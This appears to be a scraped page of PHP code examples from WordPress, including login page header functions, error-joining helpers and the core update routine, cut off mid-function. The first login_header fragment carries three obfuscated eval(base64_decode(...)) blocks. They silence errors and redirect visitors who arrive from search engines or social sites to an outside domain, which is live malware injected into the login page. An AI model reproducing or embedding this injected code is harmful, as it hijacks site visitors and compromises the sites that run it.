    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo apply_filters('login_headerurl', 'http://wordpress.org/');
    ?>
" title="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo apply_filters('login_headertitle', __('Powered by WordPress'));
    ?>
"><?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzd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Iud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    $message = apply_filters('login_message', $message);
    if (!empty($message)) {
        echo $message . "\n";
    }
    // Incase a plugin uses $error rather than the $errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
 /**
  * Convert an error to a response object
  *
  * This iterates over all error codes and messages to change it into a flat
  * array. This enables simpler client behaviour, as it is represented as a
  * list in JSON rather than an object/map
  *
  * @param WP_Error $error
  * @return array List of associative arrays with code and message keys
  */
 protected function error_to_response($error)
 {
     $error_data = $error->get_error_data();
     if (is_array($error_data) && isset($error_data['status'])) {
         $status = $error_data['status'];
     } else {
         $status = 500;
     }
     $data = array();
     foreach ((array) $error->errors as $code => $messages) {
         foreach ((array) $messages as $message) {
             $data[] = array('code' => $code, 'message' => $message);
         }
     }
     $response = new WP_JSON_Response($data, $status);
     return $response;
 }
 /**
  * Join array of statuses into one status
  *
  * @since 2.0
  * @access public
  *
  * @param array of WP_Errors objects $statuses
  * @param ( object | array of object ) $join_status second status to join may be single WP_Error object or array of WP_Error objects
  * @return object WP_Error 
  */
 function join_errors($statuses = array(), $join_status = null)
 {
     $return = new WP_Error();
     // If multiple arguments were passed join different wp errors
     if (!empty($join_status)) {
         if (is_array($statuses)) {
             $statuses[] = $join_status;
         } else {
             $statuses = array($statuses, $join_status);
         }
     }
     if (empty($statuses)) {
         return $return;
     }
     // Loop through statuses
     foreach ($statuses as $status) {
         // Skip empty statuses
         if (!is_wp_error($status) or !$status->get_error_codes()) {
             continue;
         }
         foreach ($status->get_error_codes() as $code) {
             // Add messages first
             $messages = $status->get_error_messages($code);
             // we need only unique messages
             if (in_array($code, $return->get_error_codes())) {
                 $messages = array_diff($messages, $return->get_error_messages($code));
             }
             // add messages if they present
             if (!empty($messages)) {
                 foreach ($messages as $message) {
                     $return->add($code, $message);
                 }
             }
             // Add code data
             $data = $status->get_error_data($code);
             // Join return data and our data
             if (!empty($data) and $return->get_error_data($code)) {
                 // add new data according to return data type
                 if (is_array($return->get_error_data($code))) {
                     // passed data is array
                     $data = array_merge($data, $return->get_error_data($code));
                 } elseif (is_array($data)) {
                     $data[] = $return->get_error_data($code);
                 } elseif (is_array($return->get_error_data($code))) {
                     $data = array_push($return->get_error_data($code), $data);
                 } elseif (is_string($data) and is_string($return->get_error_data($code))) {
                     $data = $return->get_error_data($code) . $data;
                 }
             }
             if (!empty($data)) {
                 $return->add_data($data, $code);
             }
         }
         // Loop for each code inside status
     }
     // Loop for each passed statuses
     return $return;
 }
Example #23
0
 /**
  * Shortcut to add a WP_Error to the log.
  *
  * @since 1.3.0
  *
  * @param WP_Error $error
  * @return WP_Error
  */
 public static function add_wp_error(WP_Error $error)
 {
     return self::add_error($error->get_error_code(), $error->get_error_message(), $error->get_error_data());
 }
Example #24
0
/**
 * Output the login page header.
 *
 * @param string   $title    Optional. WordPress login Page title to display in the `<title>` element.
 *                           Default 'Log In'.
 * @param string   $message  Optional. Message to display in header. Default empty.
 * @param WP_Error $wp_error Optional. The error to pass. Default empty.
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $interim_login, $action;
    // Don't index any of these forms
    add_action('login_head', 'wp_no_robots');
    if (wp_is_mobile()) {
        add_action('login_head', 'wp_login_viewport_meta');
    }
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    // Shake it!
    $shake_error_codes = array('empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password');
    /**
     * Filter the error codes array for shaking the login form.
     *
     * @since 3.0.0
     *
     * @param array $shake_error_codes Error codes that shake the login form.
     */
    $shake_error_codes = apply_filters('shake_error_codes', $shake_error_codes);
    if ($shake_error_codes && $wp_error->get_error_code() && in_array($wp_error->get_error_code(), $shake_error_codes)) {
        add_action('login_head', 'wp_shake_js', 12);
    }
    ?>
<!DOCTYPE html>
	<!--[if IE 8]>
		<html xmlns="http://www.w3.org/1999/xhtml" class="ie8" <?php 
    language_attributes();
    ?>
>
	<![endif]-->
	<!--[if !(IE 8) ]><!-->
		<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
	<!--<![endif]-->
	<head>
	<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
	<title><?php 
    bloginfo('name');
    ?>
 &rsaquo; <?php 
    echo $title;
    ?>
</title>
	<?php 
    wp_admin_css('login', true);
    /*
     * Remove all stored post data on logging out.
     * This could be added by add_action('login_head'...) like wp_shake_js(),
     * but maybe better if it's not removable by plugins
     */
    if ('loggedout' == $wp_error->get_error_code()) {
        ?>
		<script>if("sessionStorage" in window){try{for(var key in sessionStorage){if(key.indexOf("wp-autosave-")!=-1){sessionStorage.removeItem(key)}}}catch(e){}};</script>
		<?php 
    }
    /**
     * Enqueue scripts and styles for the login page.
     *
     * @since 3.1.0
     */
    do_action('login_enqueue_scripts');
    /**
     * Fires in the login page header after scripts are enqueued.
     *
     * @since 2.1.0
     */
    do_action('login_head');
    if (is_multisite()) {
        $login_header_url = network_home_url();
        $login_header_title = get_current_site()->site_name;
    } else {
        $login_header_url = __('https://wordpress.org/');
        $login_header_title = __('Powered by WordPress');
    }
    /**
     * Filter link URL of the header logo above login form.
     *
     * @since 2.1.0
     *
     * @param string $login_header_url Login header logo URL.
     */
    $login_header_url = apply_filters('login_headerurl', $login_header_url);
    /**
     * Filter the title attribute of the header logo above login form.
     *
     * @since 2.1.0
     *
     * @param string $login_header_title Login header logo title attribute.
     */
    $login_header_title = apply_filters('login_headertitle', $login_header_title);
    $classes = array('login-action-' . $action, 'wp-core-ui');
    if (wp_is_mobile()) {
        $classes[] = 'mobile';
    }
    if (is_rtl()) {
        $classes[] = 'rtl';
    }
    if ($interim_login) {
        $classes[] = 'interim-login';
        ?>
		<style type="text/css">html{background-color: transparent;}</style>
		<?php 
        if ('success' === $interim_login) {
            $classes[] = 'interim-login-success';
        }
    }
    $classes[] = ' locale-' . sanitize_html_class(strtolower(str_replace('_', '-', get_locale())));
    /**
     * Filter the login page body classes.
     *
     * @since 3.5.0
     *
     * @param array  $classes An array of body classes.
     * @param string $action  The action that brought the visitor to the login page.
     */
    $classes = apply_filters('login_body_class', $classes, $action);
    ?>
	</head>
	<body class="login <?php 
    echo esc_attr(implode(' ', $classes));
    ?>
">
	<div id="login">
		<h1><a href="<?php 
    echo esc_url($login_header_url);
    ?>
" title="<?php 
    echo esc_attr($login_header_title);
    ?>
" tabindex="-1"><?php 
    bloginfo('name');
    ?>
</a></h1>
	<?php 
    unset($login_header_url, $login_header_title);
    /**
     * Filter the message to display above the login form.
     *
     * @since 2.1.0
     *
     * @param string $message Login message text.
     */
    $message = apply_filters('login_message', $message);
    if (!empty($message)) {
        echo $message . "\n";
    }
    // In case a plugin uses $error rather than the $wp_errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error_message) {
                if ('message' == $severity) {
                    $messages .= '	' . $error_message . "<br />\n";
                } else {
                    $errors .= '	' . $error_message . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            /**
             * Filter the error messages displayed above the login form.
             *
             * @since 2.1.0
             *
             * @param string $errors Login error message.
             */
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            /**
             * Filter instructional messages displayed above the login form.
             *
             * @since 2.5.0
             *
             * @param string $messages Login messages.
             */
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
Example #25
0
/**
 * Outputs the header for the login page.
 *
 * @uses do_action() Calls the 'login_head' for outputting HTML in the Log In
 *		header.
 * @uses apply_filters() Calls 'login_headerurl' for the top login link.
 * @uses apply_filters() Calls 'login_headertitle' for the top login title.
 * @uses apply_filters() Calls 'login_message' on the message to display in the
 *		header.
 * @uses $error The error global, which is checked for displaying errors.
 *
 * @param string $title Optional. WordPress Log In Page title to display in
 *		<title/> element.
 * @param string $message Optional. Message to display in header.
 * @param WP_Error $wp_error Optional. WordPress Error Object
 */
function login_header($title = 'Log In', $message = '', $wp_error = '')
{
    global $error, $is_iphone, $interim_login, $current_site;
    // Don't index any of these forms
    add_action('login_head', 'wp_no_robots');
    if (empty($wp_error)) {
        $wp_error = new WP_Error();
    }
    // Shake it!
    $shake_error_codes = array('empty_password', 'empty_email', 'invalid_email', 'invalidcombo', 'empty_username', 'invalid_username', 'incorrect_password');
    $shake_error_codes = apply_filters('shake_error_codes', $shake_error_codes);
    if ($shake_error_codes && $wp_error->get_error_code() && in_array($wp_error->get_error_code(), $shake_error_codes)) {
        add_action('login_head', 'wp_shake_js', 12);
    }
    ?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php 
    language_attributes();
    ?>
>
<head>
	<meta http-equiv="Content-Type" content="<?php 
    bloginfo('html_type');
    ?>
; charset=<?php 
    bloginfo('charset');
    ?>
" />
	<title><?php 
    bloginfo('name');
    ?>
 &rsaquo; <?php 
    echo $title;
    ?>
</title>
<?php 
    wp_admin_css('wp-admin', true);
    wp_admin_css('colors-fresh', true);
    if ($is_iphone) {
        ?>
	<meta name="viewport" content="width=320; initial-scale=0.9; maximum-scale=1.0; user-scalable=0;" />
	<style type="text/css" media="screen">
	.login form, .login .message, #login_error { margin-left: 0px; }
	.login #nav, .login #backtoblog { margin-left: 8px; }
	.login h1 a { width: auto; }
	#login { padding: 20px 0; }
	</style>
<?php 
    }
    do_action('login_enqueue_scripts');
    do_action('login_head');
    ?>
</head>
<body class="login">
<?php 
    if (!is_multisite()) {
        ?>
<div id="login"><h1><a href="<?php 
        echo esc_url(apply_filters('login_headerurl', 'http://wordpress.org/'));
        ?>
" title="<?php 
        echo esc_attr(apply_filters('login_headertitle', __('Powered by WordPress')));
        ?>
"><?php 
        bloginfo('name');
        ?>
</a></h1>
<?php 
    } else {
        ?>
<div id="login"><h1><a href="<?php 
        echo esc_url(apply_filters('login_headerurl', network_home_url()));
        ?>
" title="<?php 
        echo esc_attr(apply_filters('login_headertitle', $current_site->site_name));
        ?>
"><span class="hide"><?php 
        bloginfo('name');
        ?>
</span></a></h1>
<?php 
    }
    $message = apply_filters('login_message', $message);
    if (!empty($message)) {
        echo $message . "\n";
    }
    // In case a plugin uses $error rather than the $wp_errors object
    if (!empty($error)) {
        $wp_error->add('error', $error);
        unset($error);
    }
    if ($wp_error->get_error_code()) {
        $errors = '';
        $messages = '';
        foreach ($wp_error->get_error_codes() as $code) {
            $severity = $wp_error->get_error_data($code);
            foreach ($wp_error->get_error_messages($code) as $error) {
                if ('message' == $severity) {
                    $messages .= '	' . $error . "<br />\n";
                } else {
                    $errors .= '	' . $error . "<br />\n";
                }
            }
        }
        if (!empty($errors)) {
            echo '<div id="login_error">' . apply_filters('login_errors', $errors) . "</div>\n";
        }
        if (!empty($messages)) {
            echo '<p class="message">' . apply_filters('login_messages', $messages) . "</p>\n";
        }
    }
}
Example #26
0
/**
 * Upgrade the core of WordPress.
 *
 * This will create a .maintenance file at the base of the WordPress directory
 * to ensure that people can not access the web site, when the files are being
 * copied to their locations.
 *
 * The files in the {@link $_old_files} list will be removed and the new files
 * copied from the zip file after the database is upgraded.
 *
 * The files in the {@link $_new_bundled_files} list will be added to the installation
 * if the version is greater than or equal to the old version being upgraded.
 *
 * The steps for the upgrader for after the new release is downloaded and
 * unzipped is:
 *   1. Test unzipped location for select files to ensure that unzipped worked.
 *   2. Create the .maintenance file in current WordPress base.
 *   3. Copy new WordPress directory over old WordPress files.
 *   4. Upgrade WordPress to new version.
 *     4.1. Copy all files/folders other than wp-content
 *     4.2. Copy any language files to WP_LANG_DIR (which may differ from WP_CONTENT_DIR
 *     4.3. Copy any new bundled themes/plugins to their respective locations
 *   5. Delete new WordPress directory path.
 *   6. Delete .maintenance file.
 *   7. Remove old files.
 *   8. Delete 'update_core' option.
 *
 * There are several areas of failure. For instance if PHP times out before step
 * 6, then you will not be able to access any portion of your site. Also, since
 * the upgrade will not continue where it left off, you will not be able to
 * automatically remove old files and remove the 'update_core' option. This
 * isn't that bad.
 *
 * If the copy of the new WordPress over the old fails, then the worse is that
 * the new WordPress directory will remain.
 *
 * If it is assumed that every file will be copied over, including plugins and
 * themes, then if you edit the default theme, you should rename it, so that
 * your changes remain.
 *
 * @since 2.7.0
 *
 * @global WP_Filesystem_Base $wp_filesystem
 * @global array              $_old_files
 * @global array              $_new_bundled_files
 * @global wpdb               $wpdb
 * @global string             $wp_version
 * @global string             $required_php_version
 * @global string             $required_mysql_version
 *
 * @param string $from New release unzipped path.
 * @param string $to   Path to old WordPress installation.
 * @return WP_Error|null WP_Error on failure, null on success.
 */
function update_core($from, $to)
{
    global $wp_filesystem, $_old_files, $_new_bundled_files, $wpdb;
    @set_time_limit(300);
    /**
     * Filter feedback messages displayed during the core update process.
     *
     * The filter is first evaluated after the zip file for the latest version
     * has been downloaded and unzipped. It is evaluated five more times during
     * the process:
     *
     * 1. Before WordPress begins the core upgrade process.
     * 2. Before Maintenance Mode is enabled.
     * 3. Before WordPress begins copying over the necessary files.
     * 4. Before Maintenance Mode is disabled.
     * 5. Before the database is upgraded.
     *
     * @since 2.5.0
     *
     * @param string $feedback The core update feedback messages.
     */
    apply_filters('update_feedback', __('Verifying the unpacked files&#8230;'));
    // Sanity check the unzipped distribution.
    $distro = '';
    $roots = array('/wordpress/', '/wordpress-mu/');
    foreach ($roots as $root) {
        if ($wp_filesystem->exists($from . $root . 'readme.html') && $wp_filesystem->exists($from . $root . 'wp-includes/version.php')) {
            $distro = $root;
            break;
        }
    }
    if (!$distro) {
        $wp_filesystem->delete($from, true);
        return new WP_Error('insane_distro', __('The update could not be unpacked'));
    }
    /**
     * Import $wp_version, $required_php_version, and $required_mysql_version from the new version
     * $wp_filesystem->wp_content_dir() returned unslashed pre-2.8
     *
     * @global string $wp_version
     * @global string $required_php_version
     * @global string $required_mysql_version
     */
    global $wp_version, $required_php_version, $required_mysql_version;
    $versions_file = trailingslashit($wp_filesystem->wp_content_dir()) . 'upgrade/version-current.php';
    if (!$wp_filesystem->copy($from . $distro . 'wp-includes/version.php', $versions_file)) {
        $wp_filesystem->delete($from, true);
        return new WP_Error('copy_failed_for_version_file', __('The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.'), 'wp-includes/version.php');
    }
    $wp_filesystem->chmod($versions_file, FS_CHMOD_FILE);
    require WP_CONTENT_DIR . '/upgrade/version-current.php';
    $wp_filesystem->delete($versions_file);
    $php_version = phpversion();
    $mysql_version = $wpdb->db_version();
    $old_wp_version = $wp_version;
    // The version of WordPress we're updating from
    $development_build = false !== strpos($old_wp_version . $wp_version, '-');
    // a dash in the version indicates a Development release
    $php_compat = version_compare($php_version, $required_php_version, '>=');
    if (file_exists(WP_CONTENT_DIR . '/db.php') && empty($wpdb->is_mysql)) {
        $mysql_compat = true;
    } else {
        $mysql_compat = version_compare($mysql_version, $required_mysql_version, '>=');
    }
    if (!$mysql_compat || !$php_compat) {
        $wp_filesystem->delete($from, true);
    }
    if (!$mysql_compat && !$php_compat) {
        return new WP_Error('php_mysql_not_compatible', sprintf(__('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $wp_version, $required_php_version, $required_mysql_version, $php_version, $mysql_version));
    } elseif (!$php_compat) {
        return new WP_Error('php_not_compatible', sprintf(__('The update cannot be installed because WordPress %1$s requires PHP version %2$s or higher. You are running version %3$s.'), $wp_version, $required_php_version, $php_version));
    } elseif (!$mysql_compat) {
        return new WP_Error('mysql_not_compatible', sprintf(__('The update cannot be installed because WordPress %1$s requires MySQL version %2$s or higher. You are running version %3$s.'), $wp_version, $required_mysql_version, $mysql_version));
    }
    /** This filter is documented in wp-admin/includes/update-core.php */
    apply_filters('update_feedback', __('Preparing to install the latest version&#8230;'));
    // Don't copy wp-content, we'll deal with that below
    // We also copy version.php last so failed updates report their old version
    $skip = array('wp-content', 'wp-includes/version.php');
    $check_is_writable = array();
    // Check to see which files don't really need updating - only available for 3.7 and higher
    if (function_exists('get_core_checksums')) {
        // Find the local version of the working directory
        $working_dir_local = WP_CONTENT_DIR . '/upgrade/' . basename($from) . $distro;
        $checksums = get_core_checksums($wp_version, isset($wp_local_package) ? $wp_local_package : 'en_US');
        if (is_array($checksums) && isset($checksums[$wp_version])) {
            $checksums = $checksums[$wp_version];
        }
        // Compat code for 3.7-beta2
        if (is_array($checksums)) {
            foreach ($checksums as $file => $checksum) {
                if ('wp-content' == substr($file, 0, 10)) {
                    continue;
                }
                if (!file_exists(ABSPATH . $file)) {
                    continue;
                }
                if (!file_exists($working_dir_local . $file)) {
                    continue;
                }
                if (md5_file(ABSPATH . $file) === $checksum) {
                    $skip[] = $file;
                } else {
                    $check_is_writable[$file] = ABSPATH . $file;
                }
            }
        }
    }
    // If we're using the direct method, we can predict write failures that are due to permissions.
    if ($check_is_writable && 'direct' === $wp_filesystem->method) {
        $files_writable = array_filter($check_is_writable, array($wp_filesystem, 'is_writable'));
        if ($files_writable !== $check_is_writable) {
            $files_not_writable = array_diff_key($check_is_writable, $files_writable);
            foreach ($files_not_writable as $relative_file_not_writable => $file_not_writable) {
                // If the writable check failed, chmod file to 0644 and try again, same as copy_dir().
                $wp_filesystem->chmod($file_not_writable, FS_CHMOD_FILE);
                if ($wp_filesystem->is_writable($file_not_writable)) {
                    unset($files_not_writable[$relative_file_not_writable]);
                }
            }
            // Store package-relative paths (the key) of non-writable files in the WP_Error object.
            $error_data = version_compare($old_wp_version, '3.7-beta2', '>') ? array_keys($files_not_writable) : '';
            if ($files_not_writable) {
                return new WP_Error('files_not_writable', __('The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.'), implode(', ', $error_data));
            }
        }
    }
    /** This filter is documented in wp-admin/includes/update-core.php */
    apply_filters('update_feedback', __('Enabling Maintenance mode&#8230;'));
    // Create maintenance file to signal that we are upgrading
    $maintenance_string = '<?php $upgrading = ' . time() . '; ?>';
    $maintenance_file = $to . '.maintenance';
    $wp_filesystem->delete($maintenance_file);
    $wp_filesystem->put_contents($maintenance_file, $maintenance_string, FS_CHMOD_FILE);
    /** This filter is documented in wp-admin/includes/update-core.php */
    apply_filters('update_feedback', __('Copying the required files&#8230;'));
    // Copy new versions of WP files into place.
    $result = _copy_dir($from . $distro, $to, $skip);
    if (is_wp_error($result)) {
        $result = new WP_Error($result->get_error_code(), $result->get_error_message(), substr($result->get_error_data(), strlen($to)));
    }
    // Since we know the core files have copied over, we can now copy the version file
    if (!is_wp_error($result)) {
        if (!$wp_filesystem->copy($from . $distro . 'wp-includes/version.php', $to . 'wp-includes/version.php', true)) {
            $wp_filesystem->delete($from, true);
            $result = new WP_Error('copy_failed_for_version_file', __('The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions.'), 'wp-includes/version.php');
        }
        $wp_filesystem->chmod($to . 'wp-includes/version.php', FS_CHMOD_FILE);
    }
    // Check to make sure everything copied correctly, ignoring the contents of wp-content
    $skip = array('wp-content');
    $failed = array();
    if (isset($checksums) && is_array($checksums)) {
        foreach ($checksums as $file => $checksum) {
            if ('wp-content' == substr($file, 0, 10)) {
                continue;
            }
            if (!file_exists($working_dir_local . $file)) {
                continue;
            }
            if (file_exists(ABSPATH . $file) && md5_file(ABSPATH . $file) == $checksum) {
                $skip[] = $file;
            } else {
                $failed[] = $file;
            }
        }
    }
    // Some files didn't copy properly
    if (!empty($failed)) {
        $total_size = 0;
        foreach ($failed as $file) {
            if (file_exists($working_dir_local . $file)) {
                $total_size += filesize($working_dir_local . $file);
            }
        }
        // If we don't have enough free space, it isn't worth trying again.
        // Unlikely to be hit due to the check in unzip_file().
        $available_space = @disk_free_space(ABSPATH);
        if ($available_space && $total_size >= $available_space) {
            $result = new WP_Error('disk_full', __('There is not enough free disk space to complete the update.'));
        } else {
            $result = _copy_dir($from . $distro, $to, $skip);
            if (is_wp_error($result)) {
                $result = new WP_Error($result->get_error_code() . '_retry', $result->get_error_message(), substr($result->get_error_data(), strlen($to)));
            }
        }
    }
    // Custom Content Directory needs updating now.
    // Copy Languages
    if (!is_wp_error($result) && $wp_filesystem->is_dir($from . $distro . 'wp-content/languages')) {
        if (WP_LANG_DIR != ABSPATH . WPINC . '/languages' || @is_dir(WP_LANG_DIR)) {
            $lang_dir = WP_LANG_DIR;
        } else {
            $lang_dir = WP_CONTENT_DIR . '/languages';
        }
        if (!@is_dir($lang_dir) && 0 === strpos($lang_dir, ABSPATH)) {
            // Check the language directory exists first
            $wp_filesystem->mkdir($to . str_replace(ABSPATH, '', $lang_dir), FS_CHMOD_DIR);
            // If it's within the ABSPATH we can handle it here, otherwise they're out of luck.
            clearstatcache();
            // for FTP, Need to clear the stat cache
        }
        if (@is_dir($lang_dir)) {
            $wp_lang_dir = $wp_filesystem->find_folder($lang_dir);
            if ($wp_lang_dir) {
                $result = copy_dir($from . $distro . 'wp-content/languages/', $wp_lang_dir);
                if (is_wp_error($result)) {
                    $result = new WP_Error($result->get_error_code() . '_languages', $result->get_error_message(), substr($result->get_error_data(), strlen($wp_lang_dir)));
                }
            }
        }
    }
    /** This filter is documented in wp-admin/includes/update-core.php */
    apply_filters('update_feedback', __('Disabling Maintenance mode&#8230;'));
    // Remove maintenance file, we're done with potential site-breaking changes
    $wp_filesystem->delete($maintenance_file);
    // 3.5 -> 3.5+ - an empty twentytwelve directory was created upon upgrade to 3.5 for some users, preventing installation of Twenty Twelve.
    if ('3.5' == $old_wp_version) {
        if (is_dir(WP_CONTENT_DIR . '/themes/twentytwelve') && !file_exists(WP_CONTENT_DIR . '/themes/twentytwelve/style.css')) {
            $wp_filesystem->delete($wp_filesystem->wp_themes_dir() . 'twentytwelve/');
        }
    }
    // Copy New bundled plugins & themes
    // This gives us the ability to install new plugins & themes bundled with future versions of WordPress whilst avoiding the re-install upon upgrade issue.
    // $development_build controls us overwriting bundled themes and plugins when a non-stable release is being updated
    if (!is_wp_error($result) && (!defined('CORE_UPGRADE_SKIP_NEW_BUNDLED') || !CORE_UPGRADE_SKIP_NEW_BUNDLED)) {
        foreach ((array) $_new_bundled_files as $file => $introduced_version) {
            // If a $development_build or if $introduced version is greater than what the site was previously running
            if ($development_build || version_compare($introduced_version, $old_wp_version, '>')) {
                $directory = '/' == $file[strlen($file) - 1];
                list($type, $filename) = explode('/', $file, 2);
                // Check to see if the bundled items exist before attempting to copy them
                if (!$wp_filesystem->exists($from . $distro . 'wp-content/' . $file)) {
                    continue;
                }
                if ('plugins' == $type) {
                    $dest = $wp_filesystem->wp_plugins_dir();
                } elseif ('themes' == $type) {
                    $dest = trailingslashit($wp_filesystem->wp_themes_dir());
                } else {
                    continue;
                }
                if (!$directory) {
                    if (!$development_build && $wp_filesystem->exists($dest . $filename)) {
                        continue;
                    }
                    if (!$wp_filesystem->copy($from . $distro . 'wp-content/' . $file, $dest . $filename, FS_CHMOD_FILE)) {
                        $result = new WP_Error("copy_failed_for_new_bundled_{$type}", __('Could not copy file.'), $dest . $filename);
                    }
                } else {
                    if (!$development_build && $wp_filesystem->is_dir($dest . $filename)) {
                        continue;
                    }
                    $wp_filesystem->mkdir($dest . $filename, FS_CHMOD_DIR);
                    $_result = copy_dir($from . $distro . 'wp-content/' . $file, $dest . $filename);
                    // If a error occurs partway through this final step, keep the error flowing through, but keep process going.
                    if (is_wp_error($_result)) {
                        if (!is_wp_error($result)) {
                            $result = new WP_Error();
                        }
                        $result->add($_result->get_error_code() . "_{$type}", $_result->get_error_message(), substr($_result->get_error_data(), strlen($dest)));
                    }
